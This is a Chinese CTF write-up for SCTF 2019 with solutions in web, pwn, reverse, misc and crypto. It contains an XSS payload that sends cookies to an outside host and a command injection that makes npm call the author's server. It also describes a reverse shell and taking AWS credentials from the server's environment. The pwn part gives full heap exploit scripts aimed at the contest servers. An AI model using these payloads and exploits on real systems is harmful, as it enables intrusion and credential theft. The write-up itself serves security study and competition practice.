Web
math-is-fun1&2
题目明示了这是个XSS
在name处发现一个反射型XSS,但是有CSP
注意到strict-dynamic允许js动态添加的脚本执行,而忽略script-src的白名单,所以我们想办法利用js生成我们的payload
参考文档:
http://docs.mathjax.org/en/latest/options/hub.html
发现会从 root 属性中加载 js
同时看到代码里面,这里我们可以给root属性赋值
所以我们可以通过设置 root 属性来引入外部 js
再参考
https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html
使用文章中的方法通过低版本的angular js模板注入来绕过CSP
payload:
http://47.110.128.101/challenge?name=Challenger%0aMathJax[%27root%27]%3dhttps://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js%23%3C/script%3E%3Cdiv%20ng-app%3E%20{{constructor.constructor(%27location.href="http://ip/?"%2bdocument.cookie%27)()}}%20%3C/div%3E%3Cscript%3E
第二题用这个payload也能打
flag shop
在cookie中发现有jwt,解密发现所拥有的jkl是受cookie控制的,所以思路很明确我们需要去伪造cookie
在robots.txt中发现源码泄漏,访问filebak获取到源码:
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
发现在work这个路由中,有ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
,这里的#{params[:name][0,7]}
我们可控,所以这里有一个模版注入,但是有限制:我们的payload不能超过7个字符。
去网上查找ERB模版的写法,寻找到了ruby其中的一个模版标签:<%=xx%>
,但是因为长度的限制,我们只有2个字符可用
可以从源码得到,我们的需要的SECRET是在环境变量中,但是ENV不满足条件,考虑从ruby预定义的变量入手:
https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
上面正好有匹配ENV["SECRET"]的地方,所以利用
$` 和 $'
读取匹配之后结果
可以得到secret为 ec55ce17b51f7f2588b3d2f09c821e6499984b09810e652ce9fa4882fe4875c8
之后通过jwt.io伪造cookie
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI3MWExMGViMS05YTdlLTQxNjItOTBhYy1mNTM1MWRiY2IyN2YiLCJqa2wiOjFlKzI3fQ.zdeP9aVius0wO3JqnRuRdQFHAbMNTqZ96JZGATzoZO8
解密jwt,即可获得flag
esayweb
查看控制台的source,可以看到是用vue写的,可以在前端看到如果要访问main路由的话,必须要登陆才可以
但是这些都是前端限制的,所以我们只要修改返回包就可以直接绕过登陆的限制,但是整个web都是webpack打包的,所以我们需要找到经过混淆以后的requireLogin的条件
在app.51c756bc2bea67226d9b.js中有pack打包以后的requireLogin:
所以我们只需要将返回包中的requireLogin:!0
改为:requireLogin:0
即可绕过登陆限制
来到第二个页面,这里我们可以让npm去请求我们的服务器,而且在url后面如果有``的话,反引号之内的内容会被作为命令解析
输入:{"npm":["http://120.77.152.169:2333/`whoami`"]}
即可在服务器端收到命令执行的结果
所以我们可以反弹一个shell,但是shell没过多久就会被断,而且也在服务器上找不到flag,因为通过response header可以判断vsp是搭建在aws上的,猜测是否是在aws的存储桶中
所以我们可以通过awscli和服务器的环境变量,获得服务器的存储桶访问权限,参考以下链接:https://www.freebuf.com/articles/web/198687.html
我们可以通过反弹shell获取到服务器的环境变量
我们可以在本地通过env中的aws凭据来获取服务器对存储桶的访问权限,可以访问到存储桶的flag
执行:aws s3 cp s3://static.l0ca1.xyz/flaaaaaaaaag/flaaaag.txt flag.txt
获取到flag
关于awscli的使用:https://aws.amazon.com/cn/cli/
Pwn
two_heap
格式化字符串漏洞
%a leak libc地址
double free漏洞
当输入大小为0,0x8,0x10,0x18时都回分配0x20大小的堆块,直接tcache attack
修改__free_hook为system
这题最烦的是远程%a leak 出来的libc地址和基址的偏移和本地的不同,要爆破偏移
偏移为5XX(爆了一年)
from pwn import *
#context.log_level="debug"
def add(size,content="\n"):
f.sendlineafter("choice","1")
f.sendlineafter("size",str(size))
if size>=8:
f.sendafter("note",content)
def dele(index):
f.sendlineafter("choice","2")
f.sendlineafter("index",str(index))
libc=ELF("libc-2.26.so",checksec=False)
i=599
print i
#f=remote("47.104.89.129",10002)
while True:
i-=1
print i
try:
f=remote("47.104.89.129",10002)
f.sendlineafter("SCTF","%a%a%a%a%a")
f.settimeout(0.5)
f.recvuntil("0x0")
f.recvuntil("0x0")
f.recvuntil(".0")
libc_base=int((f.recv(11)+"0"),16)-0x3db720+i*0x1000
success("libc_base :"+hex(libc_base))
add(0x0)#0
dele(0)
dele(0)
print(libc.symbols['__free_hook'])
add(0x8,p64(libc_base+libc.symbols['__free_hook']))#1
add(0x10)#2
add(0x18,p64(libc_base+libc.symbols['system'])+"\x00"*0x10)#3
add(0x28,"/bin/sh\0\n")#4
dele(4)
sleep(0.2)
f.sendline("ls")
s=f.recvrepeat(timeout=0.2)
print s
if ("flag" or "home" in s):
f.interactive()
f.close()
except Exception as e:
print e.message
f.close()
sleep(0.5)
pass
#gdb.attach(f)
f.interactive()
one_heap
1/256几率成功
double free漏洞
分配0x7f大小时会分配出0x90大小的堆块,利用多次分配同一大小堆块,溢出tcache count为0xff,再次free得到libc地址
然后部分写libc分配堆块到_IO_stdout,泄露libc地址,然后本来想再修改malloc_hook为one_gadget但发现一个都用不了,只能
部分写main_arena里的top_chunk为堆开始的tcache处,然后分配堆块伪造tcache指针,分配堆块分别修改malloc_hook为free,free_hook
为one_gadget ,成功getshell
from pwn import *
#context.log_level="debug"
def add(size,content="\n"):
f.sendlineafter("choice","1")
f.sendlineafter("size",str(size))
if size:
f.sendafter("content",content)
def dele():
f.sendlineafter("choice","2")
i=0
libc=ELF("./libc-2.27.so",checksec=False)
while True:
try:
print i
f=process("./one_heap")
#f=remote("47.104.89.129",10001)
add(0x7f)
dele()
dele()
add(0x3f,(p64(0x90)+p64(0x20))*3+"\n")
dele()
add(0x7f)
add(0x7f)
add(0x7f)
dele()
add(0x20,"\x50\xf7\n")#1
add(0x7f,"\x00"*0x28+p64(0x91)+"\n")
add(0x7f,p64(0)*2+p64(0xfbad1800)+p64(0)*3+"\x90\n")
libc_base=0
libc_base=u64(f.recvuntil("\x7f",timeout=0.3)[-6:].ljust(8,'\0'))-0x3ec7e3
if(libc_base==-0x3ec7e3):
print("False1 ")
f.close()
i+=1
continue
#0x4f2c5
#0x4f322
#0x10a38c
success("libc base :"+hex(libc_base))
add(0x7f,p64(0)*12+p64(libc_base+libc.symbols['__malloc_hook']+0x10+96)+"\n")
add(0x3f,p64(libc_base+0x4f2c5)+"\n")
add(0x3f,"\x00\x70\n")
add(0x6f,p64(0)*8+p64(libc_base+libc.symbols['__malloc_hook'])+p64(libc_base+libc.symbols['__free_hook'])+"\n")
add(0x1f,p64(libc_base+0x4f322)+"\n")
add(0xf,p64(libc_base+libc.symbols['free'])+"\n")
add(0)
sleep(0.3)
f.sendline("cat flag")
sleep(0.2)
f.sendline("cat flag.txt")
f.interactive()
except Exception as e :
print e.message
print "false2 "
i+=1
sleep(0.5)
f.close()
pass
f.interactive()
easy_heap
1/16 的几率
null-by-one经典利用
攻击io_stdout结构体泄露libc基址
直接改malloc_hook为One_gadget发现不行,先改malloc_hook为main函数抬高栈,再改malloc_hook
为one_gadget就getshell了
from pwn import *
context.log_level="debug"
def add(size):
f.sendlineafter(">>","1")
f.sendlineafter("Size:",str(size))
def dele(index):
f.sendlineafter(">>","2")
f.sendlineafter("Index:",str(index))
def edit(index,content="\n"):
f.sendlineafter(">>","3")
f.sendlineafter("Index:",str(index))
f.sendafter("Content:",content)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so",checksec=False)
#f=process("./easy_heap")
f=remote("132.232.100.67",10004)
add(0xf8)#0
add(0x61)#1
add(0x68)#2
add(0xf8)#3
add(0xf8)#4
dele(0)
edit(2,"\x00"*0x60+p64(0x100+0x70*2))
dele(3)
dele(1)
add(0xf8)#0
dele(0)
add(0x2d1)#0
edit(0,"\x00"*0xf8+p64(0x71)+"\xdd\x25\n")
add(0x61)#1
add(0x61)#3
edit(3,"\x00"*(0x30+3)+p64(0xfbad1800)+p64(0)*3+"\x60\n")
libc_base=u64(f.recvuntil("\x7f")[-6:].ljust(8,'\0'))-0x3c56a4
success("libc_base :"+hex(libc_base))
dele(0)
dele(1)
add(0x2d1)#0
edit(0,"\x00"*0xf8+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23)+"\n")
add(0x61)#1
add(0x68)#5
s=f.recvuntil("0b8")[-12:]
main_addr=int(s,16)+0xc43-0x2020b8
success(hex(main_addr))
edit(5,"\x00"*0x13+p64(main_addr)+"\n")
for i in range(2):
f.sendlineafter(">>","1")
f.sendlineafter("Size","30")
edit(5,"\x00"*0x13+p64(libc_base+0xf1147)+"\n")
f.sendlineafter(">>","1")
f.sendlineafter("Size","30")
f.interactive()
Re
Crackme
第一个函数有反调试,然后第二个函数有好像查 peb 的内联汇编的反调试,没具体细看,然后就是对一个全局字符串的一个变换操作。其实就是个 base64 变换完之后,后面的逻辑就是对输入进行 AES cbc 模式加密,然后标准啊 base64 加密,与刚才的的全局字符串进行比较。所以解法就是先解 Base64 ,在以 AES cbc mode , iv=sctf那串, key=三叶草英文那段,因为在外面用的平板,所以就没有图了。然后解出来就是 flag
babyre
map = [ 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x73, 0x2e, 0x2e, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2e, 0x2e, 0x23, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2e, 0x2e, 0x2e, 0x2a, 0x2e, 0x2e, 0x2a, 0x2e, 0x2a, 0x2e, 0x2a, 0x2a, 0x2e, 0x2a ]
for i in range(0,len(map),5):
print chr(map[i]),chr(map[i+1]),chr(map[i+2]),chr(map[i+3]),chr(map[i+4])
if (i+5)%25 == 0 and i != 0:
print "\n"
level1:三维走迷宫,ddwwxxssxaxwwaasasyywwdd
table = [ 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x3eL, 0x7fL, 0x7fL, 0x7fL, 0x3fL, 0x34L, 0x35L, 0x36L, 0x37L, 0x38L, 0x39L, 0x3aL, 0x3bL, 0x3cL, 0x3dL, 0x7fL, 0x7fL, 0x7fL, 0x40L, 0x7fL, 0x7fL, 0x7fL, 0x0L, 0x1L, 0x2L, 0x3L, 0x4L, 0x5L, 0x6L, 0x7L, 0x8L, 0x9L, 0xaL, 0xbL, 0xcL, 0xdL, 0xeL, 0xfL, 0x10L, 0x11L, 0x12L, 0x13L, 0x14L, 0x15L, 0x16L, 0x17L, 0x18L, 0x19L, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x1aL, 0x1bL, 0x1cL, 0x1dL, 0x1eL, 0x1fL, 0x20L, 0x21L, 0x22L, 0x23L, 0x24L, 0x25L, 0x26L, 0x27L, 0x28L, 0x29L, 0x2aL, 0x2bL, 0x2cL, 0x2dL, 0x2eL, 0x2fL, 0x30L, 0x31L, 0x32L, 0x33L, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL ]
v7 = 0
for i in range(48,127):
for j in range(48,127):
for k in range(48,127):
for l in range(48,127):
v7 = 0
v7 = (table[i]&0x3F) | (v7<<6)
v7 = (table[j]&0x3F) | (v7<<6)
v7 = (table[k]&0x3F) | (v7<<6)
v7 = (table[l]&0x3F) | (v7<<6)
#print hex(v7)
if v7==0x736374:
print "sct "+chr(i)+chr(j)+chr(k)+chr(l)
for i in range(48,127):
for j in range(48,127):
for k in range(48,127):
for l in range(48,127):
v7 = 0x736374
v7 = (table[i]&0x3F) | (v7<<6)
v7 = (table[j]&0x3F) | (v7<<6)
v7 = (table[k]&0x3F) | (v7<<6)
v7 = (table[l]&0x3F) | (v7<<6)
#print hex(v7)
if v7&0xffffff==0x665f39:
print "f_9 "+chr(i)+chr(j)+chr(k)+chr(l)
for i in range(48,127):
for j in range(48,127):
for k in range(48,127):
for l in range(48,127):
v7 = 0x665f39
v7 = (table[i]&0x3F) | (v7<<6)
v7 = (table[j]&0x3F) | (v7<<6)
v7 = (table[k]&0x3F) | (v7<<6)
v7 = (table[l]&0x3F) | (v7<<6)
#print hex(v7)
if v7&0xffffff==0x313032:
print "102 "+chr(i)+chr(j)+chr(k)+chr(l)
level2:爆破,c2N0Zl85MTAy
level3 :
passwd = [190,4,6,128,197,175,118,71,159,204,64,31,216,191,146,239]
table = [ 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x5, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x4, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0xb, 0x43, 0xed, 0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x8, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x7, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0xf, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0xe, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x1, 0x21, 0x78, 0x87, 0xd4, 0x0, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x2, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0xd, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x3, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0xa, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89, 0x69, 0x97, 0x4a, 0xc, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x9, 0xc5, 0x6e, 0xc6, 0x84, 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48]
def check():
tmptable = [0]*400
j = 0
for i in table:
j+=1
if tmptable[i] == 1:
print hex(i),j
else:
tmptable[i] = 1
def make_long(a1,a2,a3,a4):
tmp = a1 << 24
tmp += a2 << 16
tmp += a3 << 8
tmp += a4
return tmp
def rol(num,shift):
tmp1 = (num << shift) & 0xffffffff
tmp2 = num >> (32-shift)
return tmp1 | tmp2
def ror(num,shift):
tmp1 = (num << (32-shift)) & 0xffffffff
tmp2 = num >> shift
return tmp1 | tmp2
def revsub(res,a2,a3,a4):
index = a2^a3^a4
v1 = make_long( table[(index&0xff000000)>>24], table[(index&0xff0000)>>16],table[(index&0xff00)>>8],table[index&0xff] )
sub_ret = rol(v1,12) ^ rol(v1,8) ^ ror(v1,2) ^ ror(v1,6)
return res ^ sub_ret
def sub(a1,a2,a3,a4):
index = a2^a3^a4
v1 = make_long( table[(index&0xff000000)>>24], table[(index&0xff0000)>>16],table[(index&0xff00)>>8],table[index&0xff] )
sub_ret = rol(v1,12) ^ rol(v1,8) ^ ror(v1,2) ^ ror(v1,6)
return a1^sub_ret
def bswap(a1):
tmp = 0
op = a1
for i in xrange(4):
tmp += (op&0xff) << (3-i)*8
op = op >> 8
return tmp
v4 = make_long(passwd[12],passwd[13],passwd[14],passwd[15])
v3 = make_long(passwd[8],passwd[9],passwd[10],passwd[11])
v2 = make_long(passwd[4],passwd[5],passwd[6],passwd[7])
v1 = make_long(passwd[0],passwd[1],passwd[2],passwd[3])
for i in xrange(26):
tmp = revsub(v4,v1,v2,v3)
v4 = v3
v3 = v2
v2 = v1
v1 = tmp
print hex(bswap(v1))
print hex(bswap(v2))
print hex(bswap(v3))
print hex(bswap(v4))
结果:fl4g_is_s0_ug1y!
sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy-fl4g_is_s0_ug1y!}
music
arg13是从apk中rawresource的sctf.db文件中数据库查出来的,把s1和s2两列拼接起来
检验的时候,在onclick方法里面,先把文本框的字符串赋值好,然后启动一个service进行检验,看到onServiceConnected
方法里面
f是全局判断是否序列码正确的boolean标志
g函数如下
然后搜索出密文字符串
加密后为C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53
b
方法里面
q(s.this.a).get()
返回就是hellosctf
,前面字符串拼接出来的
核心加密函数为c类的a方法
第二个参数为hellosctf再经过md5以后为E7E64BF658BAB14A25C9D67A054CEBE5
期望结果
C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53
private static String append0_and_upper(byte[] arg5) {
StringBuilder v0 = new StringBuilder();
int mid_str;
for (mid_str = 0; mid_str < arg5.length; ++mid_str) {
String v2 = Integer.toHexString(arg5[mid_str] & 255);
if (v2.length() == 1) {
v2 = '0' + v2;
}
v0.append(v2.toUpperCase());
}
return v0.toString();
}
public static String ori_calc(String arg12, String arg13) {
int v4;
int v0 = M;
int[] v1 = new int[v0];
byte[] v0_1 = new byte[v0];
int v2;
for(v2 = 0; v2 < M; ++v2) {
v1[v2] = v2;
v0_1[v2] = ((byte)arg13.charAt(v2 % arg13.length()));
}
v2 = 0;
int v3 = 0;
while(true) {
v4 = M;
if(v2 >= v4 - 1) {
break;
}
v3 = (v1[v2] + v3 + v0_1[v2]) % v4;
v4 = v1[v2];
v1[v2] = v1[v3];
v1[v3] = v4;
++v2;
}
char[] v2_1 = arg12.toCharArray();
char[] v3_1 = new char[arg12.length()];
v4 = 0;
int v5 = 0;
int v6;
for(v6 = 0; v6 < v2_1.length; ++v6) {
int v8 = M;
v4 = (v4 + 1) % v8;
v5 = (v1[v4] + v5) % v8;
int v7 = v1[v4];
v1[v4] = v1[v5];
v1[v5] = v7;
v3_1[v6] = ((char)(v2_1[v6] - v4 ^ (((char)v1[(v1[v4] + v1[v4] % v8) % v8]))));
}
return append0_and_upper(new String(v3_1).getBytes());
}
public static void main(String[] args) throws NoSuchAlgorithmException {
String enc = append0_and_upper(MessageDigest.getInstance("MD5").digest("hellosctf".getBytes()));
System.out.println(enc);
System.out.println("Wanted: "+"C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53");
String wanted="C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
//C28B C39D C3A6 C283 C2B3 C39D C293 C289 C2B8 C3BA C29E C3A0 C3A7 C29A 1654 C3AF 28C3 A1C2 B121 5B53
//System.out.println(ori_calc("s", "E7E64BF658BAB14A25C9D67A054CEBE5"));
//System.out.println(" "+ori_calc("sctf{", "E7E64BF658BAB14A25C9D67A054CEBE5"));
StringBuilder res=new StringBuilder();
for(int i=0;i<wanted.length();i+=2){
res.append(detect(wanted.substring(0,i),res.toString()));
}
System.out.println("\nFlag:------------------------------");
System.out.println(res);
System.out.println(ori_calc("sctf{IT_IS_A_NICE_SON=}", "E7E64BF658BAB14A25C9D67A054CEBE5"));
System.out.println(wanted);
}
FLAG: sctf{IT_IS_A_NICE_SONG}
Strange apk
在activity的oncreate的地方,不是平时的调用模式
看到assert目录下面有data文件,以及DexClassLoader,推测是dex热加载。
在模拟器运行后dump dex。dump完的dex在/data/data/sctf.hello
下面,pull到本地。
然后dump完以后流程就很清晰了
public void onClick(View arg9) {
String v1 = "";
String v2 = "";
int v3 = 0;
String v0 = this.val$ed.getText().toString();
int v5 = 30;
if(v0.length() == v5) {
while(v3 < 12) {
v1 = v1 + v0.charAt(v3);
++v3;
}
v1 = f.sctf(v1);
while(v3 < v5) {
v2 = v2 + v0.charAt(v3);
++v3;
}
if(v1.equals("c2N0ZntXM2xjMG1l")) {
Intent v4_1 = new Intent();
v4_1.putExtra("data_return", v2);
s.this.setResult(-1, v4_1);
s.this.finish();
}
else {
Toast.makeText(s.this.getApplicationContext(), "something wrong", 1).show();
}
}
else {
Toast.makeText(s.this.getApplicationContext(), "something wrong", 1).show();
}
}
});
f.sctf函数是base64编码用的,所以flag前一半是c2N0ZntXM2xjMG1l
用base64解码sctf{W3lc0me
然后前一半通过验证就,就会带着后一半的输入返回到t这个class
if(arg9 == 1 && arg10 == -1) {
try {
MessageDigest v5_1 = MessageDigest.getInstance("MD5");
v5_1.update("syclover".getBytes());
String v4 = new BigInteger(1, v5_1.digest()).toString(16);
}
catch(Exception v5) {
v5.printStackTrace();
}
if(f.encode(arg11.getStringExtra("data_return"), v4).equals("~8t808_8A8n848r808i8d8-8w808r8l8d8}8")) {
((TextView)v0).setVisibility(0);
((Button)v1).setVisibility(4);
}
else {
Toast.makeText(this.getApplicationContext(), "one more step", 1).show();
}
}
这里将syclover
用MD5加密后传入到f.encode里面。
encode:
public static String encode(String arg5, String arg6) {
int v0 = arg5.length();
int v1 = arg6.length();
StringBuilder v2 = new StringBuilder();
int v3;
for(v3 = 0; v3 < v0; ++v3) {
v2.append(arg5.charAt(v3));
v2.append(arg6.charAt(v3 / v1));
}
return v2.toString();
}
仔细分析后,v1长度为32,所以v3/v1一定是0,所以每个字符8
都是固定插入在字符串中的,只要把~8t808_8A8n848r808i8d8-8w808r8l8d8}8字符串中的8
去掉就行
后面的解码脚本如下:
public static void main(String[] args) throws NoSuchAlgorithmException {
MessageDigest v5_1 = MessageDigest.getInstance("MD5");
v5_1.update("syclover".getBytes());
String clover = new BigInteger(1, v5_1.digest()).toString(16);
System.out.println(clover);
String enc = "~8t808_8A8n848r808i8d8-8w808r8l8d8}8";
StringBuilder ori = new StringBuilder();
StringBuilder dig = new StringBuilder();
for (int i = 0; i < (enc.length() / 2); i+=2) {
ori.append(enc.charAt(i));
dig.append(enc.charAt(i + 1));
}
System.out.println("ori: "+ori);
System.out.println("dig: "+dig);
for (int i = 0; i < enc.length() ; i++) {
if(enc.charAt(i)!='8'){
System.out.print(enc.charAt(i));
}
}
}
最后sctf{W3lc0me~t0_An4r0id-w0rld}
Misc
头号玩家
打开是个飞机大战游戏
发现往后走出屏幕得到一个假flag
往前走出屏幕就是真flag了
Maaaaaaze
- 截全图用画图的油漆桶倒了一下,连通图
- 连出图,观察点和边,发现是其实是树
- 计算这个树的直径
from bs4 import BeautifulSoup
import igraph
with open('Maze.html') as f:
raw_content = f.read()
html = BeautifulSoup(raw_content, 'lxml')
def p2n(x, y):
return y * 100 + x
G = igraph.Graph()
G.add_vertices(10000)
for point in html.find_all('td'):
point_id = point.attrs['id'].split('-')
y, x = int(point_id[0]), int(point_id[1])
point_style = point.attrs['style']
if 'top' not in point_style:
G.add_edge(p2n(x, y), p2n(x, y - 1))
if 'left' not in point_style:
G.add_edge(p2n(x, y), p2n(x - 1, y))
if 'bottom' not in point_style:
G.add_edge(p2n(x, y), p2n(x, y + 1))
if 'right' not in point_style:
G.add_edge(p2n(x, y), p2n(x + 1, y))
print(G.diameter()+1)
~~networkx跑了5分钟没跑出来~~
打开电动车
打开wav文件看波形图
初步判断是第一部分校准后重传两次保证数据准确性。
经检验第一块与第二块的数据完全一致。
查询关于遥控车门的资料,注意到两种遥控模块的信号如下例
其与题目中的信号结构高度相似,确定了目标。
经过进一步的阅读,得知在此题目中使用了PT2242的信号格式
于是将数据进行简单的划分后得到
即011101001010101001100010
得到地址位flag:sctf{01110100101010100110}
Crypto
babygame
sage脚本,pow直接发送个负数就行了
from Crypto.Util.strxor import strxor
def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
"""
Performs Hastads attack on raw RSA with no padding.
This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
Where they are all encryptions of the same message.
cArray = Ciphertext Array
nArray = Modulus Array
aArray = Array of 'slopes' for the linear padding
bArray = Array of 'y-intercepts' for the linear padding
e = public exponent
"""
if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
for i in range(e):
cArray[i] = Integer(cArray[i])
nArray[i] = Integer(nArray[i])
aArray[i] = Integer(aArray[i])
bArray[i] = Integer(bArray[i])
TArray = [-1]*e
for i in range(e):
arrayToCRT = [0]*e
arrayToCRT[i] = 1
TArray[i] = crt(arrayToCRT,nArray)
P.<x> = PolynomialRing(Zmod(prod(nArray)))
gArray = [-1]*e
for i in range(e):
gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
g = sum(gArray)
g = g.monic()
# Use Sage's inbuilt coppersmith method
roots = g.small_roots(epsilon=eps)
if(len(roots)== 0):
print("No Solutions found")
return -1
return roots[0]
else:
print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
"and the same size as the public exponent")
e=3
